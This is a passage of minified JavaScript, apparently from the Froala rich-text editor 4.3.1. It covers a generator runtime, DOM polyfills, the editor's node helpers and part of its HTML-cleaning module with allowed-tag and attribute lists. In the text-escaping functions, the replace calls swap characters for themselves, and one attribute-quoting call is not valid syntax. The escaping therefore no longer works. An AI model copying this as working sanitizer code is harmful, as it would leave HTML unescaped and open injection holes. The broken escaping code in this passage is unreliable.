r}}if("next"===s.method)s.sent=s._sent=s.arg;else if("throw"===s.method){if(l===u)throw l=m,s.arg;s.dispatchException(s.arg)}else"return"===s.method&&s.abrupt("return",s.arg);l=g;var a=p(o,i,s);if("normal"===a.type){if(l=s.done?m:h,a.arg===v)continue;return{value:a.arg,done:s.done}}"throw"===a.type&&(l=m,s.method="throw",s.arg=a.arg)}}}(e,n,i)}),o}function p(e,t,n){try{return{type:"normal",arg:e.call(t,n)}}catch(e){return{type:"throw",arg:e}}}i.wrap=l;var u="suspendedStart",h="suspendedYield",g="executing",m="completed",v={};function b(){}function c(){}function C(){}var E={};a(E,o,function(){return this});var y=Object.getPrototypeOf,L=y&&y(y(R([])));L&&L!==e&&f.call(L,o)&&(E=L);var T=C.prototype=b.prototype=Object.create(E);function w(e){["next","throw","return"].forEach(function(t){a(e,t,function(e){return this._invoke(t,e)})})}function A(l,c){var t;s(this,"_invoke",{value:function(n,r){function e(){return new c(function(e,t){!function s(e,t,n,r){var a=p(l[e],l,t);if("throw"!==a.type){var o=a.arg,i=o.value;return i&&"object"==typeof i&&f.call(i,"__await")?c.resolve(i.__await).then(function(e){s("next",e,n,r)},function(e){s("throw",e,n,r)}):c.resolve(i).then(function(e){o.value=e,n(o)},function(e){return s("throw",e,n,r)})}r(a.arg)}(n,r,e,t)})}return t=t?t.then(e,e):e()}})}function _(e,t){var n=t.method,r=e.iterator[n];if(r===d)return t.delegate=null,"throw"===n&&e.iterator["return"]&&(t.method="return",t.arg=d,_(e,t),"throw"===t.method)||"return"!==n&&(t.method="throw",t.arg=new TypeError("The iterator does not provide a '"+n+"' method")),v;var a=p(r,e.iterator,t.arg);if("throw"===a.type)return t.method="throw",t.arg=a.arg,t.delegate=null,v;var o=a.arg;return o?o.done?(t[e.resultName]=o.value,t.next=e.nextLoc,"return"!==t.method&&(t.method="next",t.arg=d),t.delegate=null,v):o:(t.method="throw",t.arg=new TypeError("iterator result is not an object"),t.delegate=null,v)}function S(e){var t={tryLoc:e[0]};1 in e&&(t.catchLoc=e[1]),2 in e&&(t.finallyLoc=e[2],t.afterLoc=e[3]),this.tryEntries.push(t)}function k(e){var t=e.completion||{};t.type="normal",delete t.arg,e.completion=t}function x(e){this.tryEntries=[{tryLoc:"root"}],e.forEach(S,this),this.reset(!0)}function R(e){if(e||""===e){var t=e[o];if(t)return t.call(e);if("function"==typeof e.next)return e;if(!isNaN(e.length)){var n=-1,r=function a(){for(;++n<e.length;)if(f.call(e,n))return a.value=e[n],a.done=!1,a;return a.value=d,a.done=!0,a};return r.next=r}}throw new TypeError(typeof e+" is not iterable")}return s(T,"constructor",{value:c.prototype=C,configurable:!0}),s(C,"constructor",{value:c,configurable:!0}),c.displayName=a(C,r,"GeneratorFunction"),i.isGeneratorFunction=function(e){var t="function"==typeof e&&e.constructor;return!!t&&(t===c||"GeneratorFunction"===(t.displayName||t.name))},i.mark=function(e){return Object.setPrototypeOf?Object.setPrototypeOf(e,C):(e.__proto__=C,a(e,r,"GeneratorFunction")),e.prototype=Object.create(T),e},i.awrap=function(e){return{__await:e}},w(A.prototype),a(A.prototype,n,function(){return this}),i.AsyncIterator=A,i.async=function(e,t,n,r,a){void 0===a&&(a=Promise);var o=new A(l(e,t,n,r),a);return i.isGeneratorFunction(t)?o:o.next().then(function(e){return e.done?e.value:o.next()})},w(T),a(T,r,"Generator"),a(T,o,function(){return this}),a(T,"toString",function(){return"[object Generator]"}),i.keys=function(e){var t=Object(e),n=[];for(var r in t)n.push(r);return n.reverse(),function a(){for(;n.length;){var e=n.pop();if(e in t)return a.value=e,a.done=!1,a}return a.done=!0,a}},i.values=R,x.prototype={constructor:x,reset:function(e){if(this.prev=0,this.next=0,this.sent=this._sent=d,this.done=!1,this.delegate=null,this.method="next",this.arg=d,this.tryEntries.forEach(k),!e)for(var t in this)"t"===t.charAt(0)&&f.call(this,t)&&!isNaN(+t.slice(1))&&(this[t]=d)},stop:function(){this.done=!0;var e=this.tryEntries[0].completion;if("throw"===e.type)throw e.arg;return this.rval},dispatchException:function(n){if(this.done)throw n;var r=this;function e(e,t){return o.type="throw",o.arg=n,r.next=e,t&&(r.method="next",r.arg=d),!!t}for(var t=this.tryEntries.length-1;0<=t;--t){var a=this.tryEntries[t],o=a.completion;if("root"===a.tryLoc)return e("end");if(a.tryLoc<=this.prev){var i=f.call(a,"catchLoc"),s=f.call(a,"finallyLoc");if(i&&s){if(this.prev<a.catchLoc)return e(a.catchLoc,!0);if(this.prev<a.finallyLoc)return e(a.finallyLoc)}else if(i){if(this.prev<a.catchLoc)return e(a.catchLoc,!0)}else{if(!s)throw Error("try statement without catch or finally");if(this.prev<a.finallyLoc)return e(a.finallyLoc)}}}},abrupt:function(e,t){for(var n=this.tryEntries.length-1;0<=n;--n){var r=this.tryEntries[n];if(r.tryLoc<=this.prev&&f.call(r,"finallyLoc")&&this.prev<r.finallyLoc){var a=r;break}}a&&("break"===e||"continue"===e)&&a.tryLoc<=t&&t<=a.finallyLoc&&(a=null);var o=a?a.completion:{};return o.type=e,o.arg=t,a?(this.method="next",this.next=a.finallyLoc,v):this.complete(o)},complete:function(e,t){if("throw"===e.type)throw e.arg;return"break"===e.type||"continue"===e.type?this.next=e.arg:"return"===e.type?(this.rval=this.arg=e.arg,this.method="return",this.next="end"):"normal"===e.type&&t&&(this.next=t),v},finish:function(e){for(var t=this.tryEntries.length-1;0<=t;--t){var n=this.tryEntries[t];if(n.finallyLoc===e)return this.complete(n.completion,n.afterLoc),k(n),v}},"catch":function(e){for(var t=this.tryEntries.length-1;0<=t;--t){var n=this.tryEntries[t];if(n.tryLoc===e){var r=n.completion;if("throw"===r.type){var a=r.arg;k(n)}return a}}throw Error("illegal catch attempt")},delegateYield:function(e,t,n){return this.delegate={iterator:R(e),resultName:t,nextLoc:n},"next"===this.method&&(this.arg=d),v}},i}function y(e,t){return function n(e){if(Array.isArray(e))return e}(e)||function d(e,t){var n=null==e?null:"undefined"!=typeof Symbol&&e[Symbol.iterator]||e["@@iterator"];if(null!=n){var r,a,o,i,s=[],l=!0,c=!1;try{if(o=(n=n.call(e)).next,0===t){if(Object(n)!==n)return;l=!1}else for(;!(l=(r=o.call(n)).done)&&(s.push(r.value),s.length!==t);l=!0);}catch(e){c=!0,a=e}finally{try{if(!l&&null!=n["return"]&&(i=n["return"](),Object(i)!==i))return}finally{if(c)throw a}}return s}}(e,t)||l(e,t)||function r(){throw new TypeError("Invalid attempt to destructure non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}()}function Le(e){return function t(e){if(Array.isArray(e))return a(e)}(e)||function n(e){if("undefined"!=typeof Symbol&&null!=e[Symbol.iterator]||null!=e["@@iterator"])return Array.from(e)}(e)||l(e)||function r(){throw new TypeError("Invalid attempt to spread non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}()}function St(e){return(St="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol":typeof e})(e)}function l(e,t){if(e){if("string"==typeof e)return a(e,t);var n={}.toString.call(e).slice(8,-1);return"Object"===n&&e.constructor&&(n=e.constructor.name),"Map"===n||"Set"===n?Array.from(e):"Arguments"===n||/^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(n)?a(e,t):void 0}}Element.prototype.matches||(Element.prototype.matches=Element.prototype.msMatchesSelector||Element.prototype.webkitMatchesSelector),Element.prototype.closest||(Element.prototype.closest=function(e){var t=this;if(!document.documentElement.contains(t))return null;do{if(t.matches(e))return t;t=t.parentElement||t.parentNode}while(null!==t&&1===t.nodeType);return null}),Element.prototype.matches||(Element.prototype.matches=Element.prototype.matchesSelector||Element.prototype.mozMatchesSelector||Element.prototype.msMatchesSelector||Element.prototype.oMatchesSelector||Element.prototype.webkitMatchesSelector||function(e){for(var t=(this.document||this.ownerDocument).querySelectorAll(e),n=t.length;0<=--n&&t.item(n)!==this;);return-1<n}),Array.isArray||(Array.isArray=function(e){return"[object Array]"===Object.prototype.toString.call(e)}),"function"!=typeof Object.assign&&Object.defineProperty(Object,"assign",{value:function(e,t){if(null==e)throw new TypeError("Cannot convert undefined or null to object");for(var n=Object(e),r=1;r<arguments.length;r++){var a=arguments[r];if(null!=a)for(var o in a)Object.prototype.hasOwnProperty.call(a,o)&&(n[o]=a[o])}return n},writable:!0,configurable:!0}),function(){var i=/^\s*:scope/gi,s=/,\s*:scope/gi,l=document.createElement("div");function e(e,t){var o=e[t];e[t]=function(e){var t,n=!1,r=!1;if(!e||Array.isArray(e)||!e.match(i)&&!e.match(s))return o.call(this,e);this.parentNode||(l.appendChild(this),r=!0);var a=this.parentNode;return this.id||(this.id="rootedQuerySelector_id_".concat((new Date).getTime()),n=!0),t=o.call(a,e.replace(i,"#".concat(this.id)).replace(s,",#".concat(this.id))),n&&(this.id=""),r&&l.removeChild(this),t}}try{var t=l.querySelectorAll(":scope *");if(!t||Array.isArray(t))throw"error"}catch(n){e(Element.prototype,"querySelector"),e(Element.prototype,"querySelectorAll"),e(HTMLElement.prototype,"querySelector"),e(HTMLElement.prototype,"querySelectorAll")}}(),"document"in self&&("classList"in document.createElement("_")&&(!document.createElementNS||"classList"in document.createElementNS("http://www.w3.org/2000/svg","g"))||function(e){if("Element"in e){var t="classList",n="prototype",r=e.Element[n],a=Object,o=String[n].trim||function(){return this.replace(/^\s+|\s+$/g,"")},i=Array[n].indexOf||function(e){for(var t=0,n=this.length;t<n;t++)if(t in this&&this[t]===e)return t;return-1},s=function s(e,t){this.name=e,this.code=DOMException[e],this.message=t},l=function l(e,t){if(""===t)throw new s("SYNTAX_ERR","The token must not be empty.");if(/\s/.test(t))throw new s("INVALID_CHARACTER_ERR","The token must not contain space characters.");return i.call(e,t)},c=function c(e){for(var t=o.call(e.getAttribute("class")||""),n=t?t.split(/\s+/):[],r=0,a=n.length;r<a;r++)this.push(n[r]);this._updateClassName=function(){e.setAttribute("class",this.toString())}},d=c[n]=[],f=function f(){return new c(this)};if(s[n]=Error[n],d.item=function(e){return this[e]||null},d.contains=function(e){return~l(this,e+"")},d.add=function(){for(var e,t=arguments,n=0,r=t.length,a=!1;e=t[n]+"",~l(this,e)||(this.push(e),a=!0),++n<r;);a&&this._updateClassName()},d.remove=function(){var e,t,n=arguments,r=0,a=n.length,o=!1;do{for(e=n[r]+"",t=l(this,e);~t;)this.splice(t,1),o=!0,t=l(this,e)}while(++r<a);o&&this._updateClassName()},d.toggle=function(e,t){var n=this.contains(e),r=n?!0!==t&&"remove":!1!==t&&"add";return r&&this[r](e),!0===t||!1===t?t:!n},d.replace=function(e,t){var n=l(e+"");~n&&(this.splice(n,1,t),this._updateClassName())},d.toString=function(){return this.join(" ")},a.defineProperty){var p={get:f,enumerable:!0,configurable:!0};try{a.defineProperty(r,t,p)}catch(u){void 0!==u.number&&-2146823252!==u.number||(p.enumerable=!1,a.defineProperty(r,t,p))}}else a[n].__defineGetter__&&r.__defineGetter__(t,f)}}(self),function(){var e=document.createElement("_");if(e.classList.add("c1","c2"),!e.classList.contains("c2")){var t=function dh(e){var dh=DOMTokenList.prototype[e];DOMTokenList.prototype[e]=function(e){var t,n=arguments.length;for(t=0;t<n;t++)e=arguments[t],dh.call(this,e)}};t("add"),t("remove")}if(e.classList.toggle("c3",!1),e.classList.contains("c3")){var n=DOMTokenList.prototype.toggle;DOMTokenList.prototype.toggle=function(e,t){return 1 in arguments&&!this.contains(e)==!t?t:n.call(this,e)}}"replace"in document.createElement("_").classList||(DOMTokenList.prototype.replace=function(e,t){var n=this.toString().split(" "),r=n.indexOf(e+"");~r&&(n=n.slice(r),this.remove.apply(this,n),this.add(t),this.add.apply(this,n.slice(1)))}),e=null}()),function(){var e,t=-1;if("Microsoft Internet Explorer"===navigator.appName?(e=navigator.userAgent,null!==new RegExp("MSIE ([0-9]{1,}[\\.0-9]{0,})").exec(e)&&(t=parseFloat(RegExp.$1))):"Netscape"===navigator.appName&&(e=navigator.userAgent,null!==new RegExp("Trident/.*rv:([0-9]{1,}[\\.0-9]{0,})").exec(e)&&(t=parseFloat(RegExp.$1))),!("undefined"==typeof window||"undefined"==typeof document||"undefined"==typeof HTMLElement||t<0)){var n=!1;try{var r=document.createElement("div");r.addEventListener("focus",function(e){e.preventDefault(),e.stopPropagation()},!0),r.focus(Object.defineProperty({},"preventScroll",{get:function(){if(navigator&&"undefined"!=typeof navigator.userAgent&&navigator.userAgent&&navigator.userAgent.match(/Edge\/1[7-8]/))return n=!1;n=!0}}))}catch(s){}if(HTMLElement.prototype.nativeFocus===undefined&&!n){HTMLElement.prototype.nativeFocus=HTMLElement.prototype.focus;var a=function a(e){for(var t=e.parentNode,n=[],r=document.scrollingElement||document.documentElement;t&&t!==r;)(t.offsetHeight<t.scrollHeight||t.offsetWidth<t.scrollWidth)&&n.push([t,t.scrollTop,t.scrollLeft]),t=t.parentNode;return t=r,n.push([t,t.scrollTop,t.scrollLeft]),n},o=function o(e){for(var t=0;t<e.length;t++)e[t][0].scrollTop=e[t][1],e[t][0].scrollLeft=e[t][2];e=[]},i=function i(e){if(e&&e.preventScroll){var t=a(this);if("function"==typeof setTimeout){var n=this;setTimeout(function(){n.nativeFocus(),o(t)},0)}else this.nativeFocus(),o(t)}else this.nativeFocus()};HTMLElement.prototype.focus=i}}}();function kt(e,t,n){if("string"!=typeof e)return new kt.Bootstrap(e,t,n);var r=document.querySelectorAll(e);t&&t.iframe_document&&(r=t.iframe_document.querySelectorAll(e));for(var a=[],o=0;o<r.length;o++){var i=r[o]["data-froala.editor"];i?a.push(i):a.push(new kt.Bootstrap(r[o],t,n))}return 1==a.length?a[0]:a}kt.RegisterPlugins=function(e){for(var t=0;t<e.length;t++)e[t].call(kt)},Object.assign(kt,{DEFAULTS:{initOnClick:!1,pluginsEnabled:null},MODULES:{},PLUGINS:{},VERSION:"4.3.1",INSTANCES:[],OPTS_MAPPING:{},SHARED:{},ID:0}),kt.MODULES.node=function(i){var n=i.$;function s(e){return e&&"IFRAME"!==e.tagName?Array.prototype.slice.call(e.childNodes||[]):[]}function l(e){return!!e&&(e.nodeType===Node.ELEMENT_NODE&&0<=kt.BLOCK_TAGS.indexOf(e.tagName.toLowerCase()))}function c(e){var t={},n=e.attributes;if(n)for(var r=0;r<n.length;r++){var a=n[r];t[a.nodeName]=a.value}return t}function t(e){for(var t="",n=c(e),r=Object.keys(n),a=0;a<r.length;a++){var o=r[a],i=n[o];i.indexOf("'")<0&&0<=i.indexOf('"')?t+=" ".concat(o,"='").concat(i,"'"):(0<=i.indexOf('"')&&0<=i.indexOf("'")&&(i=i.replace(/"/g,""")),t+=" ".concat(o,'="').concat(i,'"'))}return t}function r(e){return e===i.el}return{isBlock:l,isEmpty:function d(e,t){if(!e)return!0;if(e.querySelector("table"))return!1;var n=s(e);1===n.length&&l(n[0])&&(n=s(n[0]));for(var r=!1,a=0;a<n.length;a++){var o=n[a];if(!(t&&i.node.hasClass(o,"fr-marker")||o.nodeType===Node.TEXT_NODE&&0===o.textContent.length)){if("BR"!==o.tagName&&0<(o.textContent||"").replace(/\u200B/gi,"").replace(/\n/g,"").length)return!1;if(r)return!1;"BR"===o.tagName&&(r=!0)}}return!(e.querySelectorAll(kt.VOID_ELEMENTS.join(",")).length-e.querySelectorAll("br").length||e.querySelector("".concat(i.opts.htmlAllowedEmptyTags.join(":not(.fr-marker),"),":not(.fr-marker)"))||1<e.querySelectorAll(kt.BLOCK_TAGS.join(",")).length||e.querySelector("".concat(i.opts.htmlDoNotWrapTags.join(":not(.fr-marker),"),":not(.fr-marker)")))},blockParent:function a(e){for(;e&&e.parentNode!==i.el&&(!e.parentNode||!i.node.hasClass(e.parentNode,"fr-inner"));)if(l(e=e.parentNode))return e;return null},deepestParent:function o(e,t,n){if(void 0===t&&(t=[]),void 0===n&&(n=!0),t.push(i.el),0<=t.indexOf(e.parentNode)||e.parentNode&&i.node.hasClass(e.parentNode,"fr-inner")||e.parentNode&&0<=kt.SIMPLE_ENTER_TAGS.indexOf(e.parentNode.tagName)&&n)return null;for(;t.indexOf(e.parentNode)<0&&e.parentNode&&!i.node.hasClass(e.parentNode,"fr-inner")&&(kt.SIMPLE_ENTER_TAGS.indexOf(e.parentNode.tagName)<0||!n)&&(!l(e)||l(e.parentNode))&&(!l(e)||!l(e.parentNode)||!n);)e=e.parentNode;return e},rawAttributes:c,attributes:t,clearAttributes:function f(e){for(var t=e.attributes,n=t.length-1;0<=n;n--){var r=t[n];e.removeAttribute(r.nodeName)}},openTagString:function p(e){return"<".concat(e.tagName.toLowerCase()).concat(t(e),">")},closeTagString:function u(e){return"</".concat(e.tagName.toLowerCase(),">")},isFirstSibling:function h(e,t){void 0===t&&(t=!0);for(var n=e.previousSibling;n&&t&&i.node.hasClass(n,"fr-marker");)n=n.previousSibling;return!n||n.nodeType===Node.TEXT_NODE&&""===n.textContent&&h(n)},isLastSibling:function g(e,t){void 0===t&&(t=!0);for(var n=e.nextSibling;n&&t&&i.node.hasClass(n,"fr-marker");)n=n.nextSibling;return!n||n.nodeType===Node.TEXT_NODE&&""===n.textContent&&g(n)},isList:function m(e){return!!e&&0<=["UL","OL"].indexOf(e.tagName)},isLink:function v(e){return!!e&&e.nodeType===Node.ELEMENT_NODE&&"a"===e.tagName.toLowerCase()},isElement:r,contents:s,isVoid:function b(e){return e&&e.nodeType===Node.ELEMENT_NODE&&0<=kt.VOID_ELEMENTS.indexOf((e.tagName||"").toLowerCase())},hasFocus:function C(e){return e===i.doc.activeElement&&(!i.doc.hasFocus||i.doc.hasFocus())&&Boolean(r(e)||e.type||e.href||~e.tabIndex)},isEditable:function E(e){return(!e.getAttribute||"false"!==e.getAttribute("contenteditable"))&&["STYLE","SCRIPT"].indexOf(e.tagName)<0},isDeletable:function y(e){return e&&e.nodeType===Node.ELEMENT_NODE&&e.getAttribute("class")&&0<=(e.getAttribute("class")||"").indexOf("fr-deletable")},hasClass:function L(e,t){return e instanceof n&&(e=e.get(0)),e&&e.classList&&e.classList.contains(t)},filter:function T(e){return i.browser.msie?e:{acceptNode:e}}}},Object.assign(kt.DEFAULTS,{DOMPurify:window.DOMPurify,htmlAllowedTags:["a","abbr","address","area","article","aside","audio","b","base","bdi","bdo","blockquote","br","button","canvas","caption","cite","code","col","colgroup","datalist","dd","del","details","dfn","dialog","div","dl","dt","em","embed","fieldset","figcaption","figure","footer","form","h1","h2","h3","h4","h5","h6","header","hgroup","hr","i","iframe","img","input","ins","kbd","keygen","label","legend","li","link","main","map","mark","menu","menuitem","meter","nav","noscript","object","ol","optgroup","option","output","p","param","pre","progress","queue","rp","rt","ruby","s","samp","script","style","section","select","small","source","span","strike","strong","sub","summary","sup","table","tbody","td","textarea","tfoot","th","thead","time","tr","track","u","ul","var","video","wbr"],htmlRemoveTags:["script","style"],htmlAllowedAttrs:["accept","accept-charset","accesskey","action","align","allowfullscreen","allowtransparency","alt","async","autocomplete","autofocus","autoplay","autosave","background","bgcolor","border","charset","cellpadding","cellspacing","checked","cite","class","color","cols","colspan","content","contenteditable","contextmenu","controls","coords","data","data-.*","datetime","default","defer","dir","dirname","disabled","download","draggable","dropzone","enctype","for","form","formaction","frameborder","headers","height","hidden","high","href","hreflang","http-equiv","icon","id","ismap","itemprop","keytype","kind","label","lang","language","list","loop","low","max","maxlength","media","method","min","mozallowfullscreen","multiple","muted","name","novalidate","open","optimum","pattern","ping","placeholder","playsinline","poster","preload","pubdate","radiogroup","readonly","rel","required","reversed","rows","rowspan","sandbox","scope","scoped","scrolling","seamless","selected","shape","size","sizes","span","src","srcdoc","srclang","srcset","start","step","summary","spellcheck","style","tabindex","target","title","type","translate","usemap","value","valign","webkitallowfullscreen","width","wrap"],htmlAllowedStyleProps:[".*"],htmlAllowComments:!0,htmlUntouched:!1,preserveTabSpaces:!1,fullPage:!1}),kt.HTML5Map={B:"STRONG",I:"EM",STRIKE:"S"},kt.MODULES.clean=function(m){var v,b,C,E,f=m.$;function a(e){if(e.nodeType===Node.ELEMENT_NODE&&e.getAttribute("class")&&0<=e.getAttribute("class").indexOf("fr-marker"))return!1;var t,n=m.node.contents(e),r=[];for(t=0;t<n.length;t++)n[t].nodeType!==Node.ELEMENT_NODE||m.node.isVoid(n[t])?n[t].nodeType===Node.TEXT_NODE&&(n[t].textContent=n[t].textContent.replace(/\u200b/g,"")):n[t].textContent.replace(/\u200b/g,"").length!==n[t].textContent.length&&a(n[t]);if(e.nodeType===Node.ELEMENT_NODE&&!m.node.isVoid(e)&&(e.normalize(),n=m.node.contents(e),r=e.querySelectorAll(".fr-marker"),n.length-r.length==0)){for(t=0;t<n.length;t++)if(n[t].nodeType===Node.ELEMENT_NODE&&(n[t].getAttribute("class")||"").indexOf("fr-marker")<0)return!1;for(t=0;t<r.length;t++)e.parentNode.insertBefore(r[t].cloneNode(!0),e);return e.parentNode.removeChild(e),!1}}function s(e,t){if(e.nodeType===Node.COMMENT_NODE)return"\x3c!--".concat(e.nodeValue,"--\x3e");if(e.nodeType===Node.TEXT_NODE)return t?e.textContent.replace(/&/g,"&").replace(/</g,"<").replace(/>/g,">"):m.opts.preserveTabSpaces?e.textContent.replace(/&/g,"&").replace(/</g,"<").replace(/>/g,">").replace(/\u00A0/g," ").replace(/\t/g," ".repeat(m.opts.tabSpaces)||" ".repeat(4)):e.textContent.replace(/&/g,"&").replace(/</g,"<").replace(/>/g,">").replace(/\u00A0/g," ").replace(/\t/g,"");if(e.nodeType!==Node.ELEMENT_NODE)return e.outerHTML;if(e.nodeType===Node.ELEMENT_NODE&&0<=["STYLE","SCRIPT","NOSCRIPT"].indexOf(e.tagName))return e.outerHTML;if(e.nodeType===Node.ELEMENT_NODE&&"svg"===e.tagName){var n=document.createElement("div"),r=e.cloneNode(!0);return n.appendChild(r),n.innerHTML}if("IFRAME"===e.tagName)return e.outerHTML.replace(/</g,"<").replace(/>/g,">");var a=e.childNodes;if(0===a.length)return e.outerHTML;for(var o="",i=0;i<a.length;i++)"PRE"===e.tagName&&(t=!0),o+=s(a[i],t);return m.node.openTagString(e)+o+m.node.closeTagString(e)}var l=[];function y(e){var t=e.replace(/;;/gi,";");return";"!==(t=t.replace(/^;/gi,"")).charAt(t.length)&&(t+=";"),t}function c(e){var t;for(t in e)if(Object.prototype.hasOwnProperty.call(e,t)){var n=t.match(C),r=null;"style"===t&&m.opts.htmlAllowedStyleProps.length&&(r=e[t].match(E)),n&&r?e[t]=y(r.join(";")):n&&("style"!==t||r)||delete e[t]}for(var a="",o=Object.keys(e).sort(),i=0;i<o.length;i++)e[t=o[i]].indexOf('"')<0?a+=" ".concat(t,'="').concat(e[t],'"'):a+=" ".concat(t,"='").concat(e[t],"'");return a}function d(e,t){var n,r=document.implementation.createHTMLDocument("Froala DOC").createElement("DIV");f(r).append(e);var a="";if(r){var o=m.node.contents(r);for(n=0;n<o.length;n++)t(o[n]);for(o=m.node.contents(r),n=0;n<o.length;n++)a+=s(o[n])}return a}function p(e,t,n){var r=e=function o(e){return l=[],e=(e=(e=(e=e.replace(/<script\b[^<]*(?:(?!<\/script>)<[^<]*)*<\/script>/gi,function(e){return l.push(e),"[FROALA.EDITOR.SCRIPT ".concat(l.length-1,"]")})).replace(/<noscript\b[^<]*(?:(?!<\/noscript>)<[^<]*)*<\/noscript>/gi,function(e){return l.push(e),"[FROALA.EDITOR.NOSCRIPT ".concat(l.length-1,"]")})).replace(/<meta((?:[\w\W]*?)) http-equiv="/g,'<meta$1 data-fr-http-equiv="')).replace(/<img((?:[\w\W]*?)) src="/g,'<img$1 data-fr-src="')}(e),a=null;return m.opts.fullPage&&(r=m.html.extractNode(e,"body")||(0<=e.indexOf("<body")?"":e),n&&(a=m.html.extractNode(e,"head")||"")),r=d(r,t),a&&(a=d(a,t)),function i(e){return e=(e=(e=e.replace(/\[FROALA\.EDITOR\.SCRIPT ([\d]*)\]/gi,function(e,t){return 0<=m.opts.htmlRemoveTags.indexOf("script")?"":l[parseInt(t,10)]})).replace(/\[FROALA\.EDITOR\.NOSCRIPT ([\d]*)\]/gi,function(e,t){if(0<=m.opts.htmlRemoveTags.indexOf("noscript"))return"";var n=l[parseInt(t,10)].replace(/</g,"<").replace(/>/g,">"),r=f(n);if(r&&r.length){var a=d(r.html(),u);r.html(a),n=r.get(0).outerHTML}return n})).replace(/<img((?:[\w\W]*?)) data-fr-src="/g,'<img$1 src="')}(function s(e,t,n){if(m.opts.fullPage){var r=m.html.extractDoctype(n),a=c(m.html.extractNodeAttrs(n,"html"));t=null===t?m.html.extractNode(n,"head")||"<title></title>":t;var o=c(m.html.extractNodeAttrs(n,"head")),i=c(m.html.extractNodeAttrs(n,"body"));return"".concat(r,"<html").concat(a,"><head").concat(o,">").concat(t,"</head><body").concat(i,">").concat(e,"</body></html>")}return e}(r,a,e))}function L(e){var t=m.doc.createElement("DIV");return t.innerText=e,t.textContent}function u(e){for(var t=m.node.contents(e),n=0;n<t.length;n++)t[n].nodeType!==Node.TEXT_NODE&&u(t[n]);!function g(n){if("SPAN"===n.tagName&&0<=(n.getAttribute("class")||"").indexOf("fr-marker"))return!1;if("PRE"===n.tagName&&function h(e){var t=e.innerHTML;0<=t.indexOf("\n")&&(e.innerHTML=t.replace(/\n/g,"<br>"))}(n),n.nodeType===Node.ELEMENT_NODE&&(n.getAttribute("data-fr-src")&&0!==n.getAttribute("data-fr-src").indexOf("blob:")&&n.setAttribute("data-fr-src",m.helpers.sanitizeURL(L(n.getAttribute("data-fr-src")))),n.getAttribute("href")&&n.setAttribute("href",m.helpers.sanitizeURL(L(n.getAttribute("href")))),n.getAttribute("src")&&n.setAttribute("src",m.helpers.sanitizeURL(L(n.getAttribute("src")))),n.getAttribute("srcdoc")&&n.setAttribute("srcdoc",m.clean.html(n.getAttribute("srcdoc"))),0<=["TABLE","TBODY","TFOOT","TR"].indexOf(n.tagName)&&(n.innerHTML=n.innerHTML.trim())),!m.opts.pasteAllowLocalImages&&n.nodeType===Node.ELEMENT_NODE&&"IMG"===n.tagName&&n.getAttribute("data-fr-src")&&0===n.getAttribute("data-fr-src").indexOf("file://"))return n.parentNode.removeChild(n),!1;if(n.nodeType===Node.ELEMENT_NODE&&kt.HTML5Map[n.tagName]&&""===m.node.attributes(n)){var e=kt.HTML5Map[n.tagName],t="<".concat(e,">").concat(n.innerHTML,"</").concat(e,">");n.insertAdjacentHTML("beforebegin",t),(n=n.previousSibling).parentNode.removeChild(n.nextSibling)}if(m.opts.htmlAllowComments||n.nodeType!==Node.COMMENT_NODE)if(n.tagName&&n.tagName.match(b)){if("STYLE"==n.tagName&&m.helpers.isMac()){var r,a=n.innerHTML.trim(),o=[],i=/{([^}]+)}/g;for(a=a.replace(/\/\*[\s\S]*?\*\/|([^\\:]|^)\/\/.*|<!--[\s\S]*?-->$/,"");r=i.exec(a);)o.push(r[1]);for(var s=function s(t){var e=a.substring(0,a.indexOf("{")).trim();0==!/^[a-z_-][a-z\d_-]*$/i.test(e)&&n.parentNode.querySelectorAll(e).forEach(function(e){e.removeAttribute("class"),e.setAttribute("style",o[t])}),a=a.substring(a.indexOf("}")+1)},l=0;-1!=a.indexOf("{");l++)s(l)}n.parentNode.removeChild(n)}else if(n.tagName&&!n.tagName.match(v))"svg"===n.tagName?n.parentNode.removeChild(n):m.browser.safari&&"path"===n.tagName&&n.parentNode&&"svg"===n.parentNode.tagName||(n.outerHTML=n.innerHTML);else{var c=n.attributes;if(c)for(var d=c.length-1;0<=d;d--){var f=c[d],p=f.nodeName.match(C),u=null;"style"===f.nodeName&&m.opts.htmlAllowedStyleProps.length&&(u=f.value.match(E)),p&&u?f.value=y(u.join(";")):p&&("style"!==f.nodeName||u)||n.removeAttribute(f.nodeName)}}else 0!==n.data.indexOf("[FROALA.EDITOR")&&n.parentNode.removeChild(n)}(e)}return{_init:function e(){m.opts.fullPage&&f.merge(m.opts.htmlAllowedTags,["head","title","style","link","base","body","html","meta"])},html:function h(e,t,n,r){void 0===t&&(t=[]),void 0===n&&(n=[]),void 0===r&&(r=!1);var a,o=f.merge([],m.opts.htmlAllowedTags);for(a=0;a<t.length;a++)0<=o.indexOf(t[a])&&o.splice(o.indexOf(t[a]),1);var i=f.merge([],m.opts.htmlAllowedAttrs);for(a=0;a<n.length;a++)0<=i.indexOf(n[a])&&i.splice(i.indexOf(n[a]),1);return i.push("data-fr-.*"),i.push("fr-.*"),v=new RegExp("^".concat(o.join("$|^"),"$"),"gi"),C=new RegExp("^".concat(i.join("$|^"),"$"),"gi"),b=new RegExp("^".concat(m.opts.htmlRemoveTags.join("$|^"),"$"),"gi"),E=m.opts.htmlAllowedStyleProps.length?new RegExp("((^|;|\\s)".concat(m.opts.htmlAllowedStyleProps.join(":.+?(?=;|$))|((^|;|\\s)"),":.+?(?=(;)|$))"),"gi"):null,e=p(e,u,!0),"undefined"!=typeof m.opts.DOMPurify&&(e=m.opts.DOMPurify.sanitize(e,{ADD_TAGS:m.opts.htmlAllowedTags,ALLOW_UNKNOWN_PROTOCOLS:!0})),e},toHTML5:function r(){var e=m.el.querySelectorAll(Object.keys(kt.HTML5Map).join(","));if(e.length){var t=!1;m.el.querySelector(".fr-marker")||(m.selection.save(),t=!0);for(var n=0;n<e.length;n++)""===m.node.attributes(e[n])&&f(e[n]).replaceWith("<".concat(kt.HTML5Map[e[n].tagName],">").concat(e[n].innerHTML,"</").concat(kt.HTML5Map[e[n].tagName],">"));t&&m.selection.restore()}},tables:function t(){!function c(){for(var e=m.el.querySelectorAll("tr"),t=0,n=0;n<e.length;n++){var r=e[n].outerHTML.match(/rowspan="([0-9]+)"/);r&&(t+=Number(r[1])-1);for(var 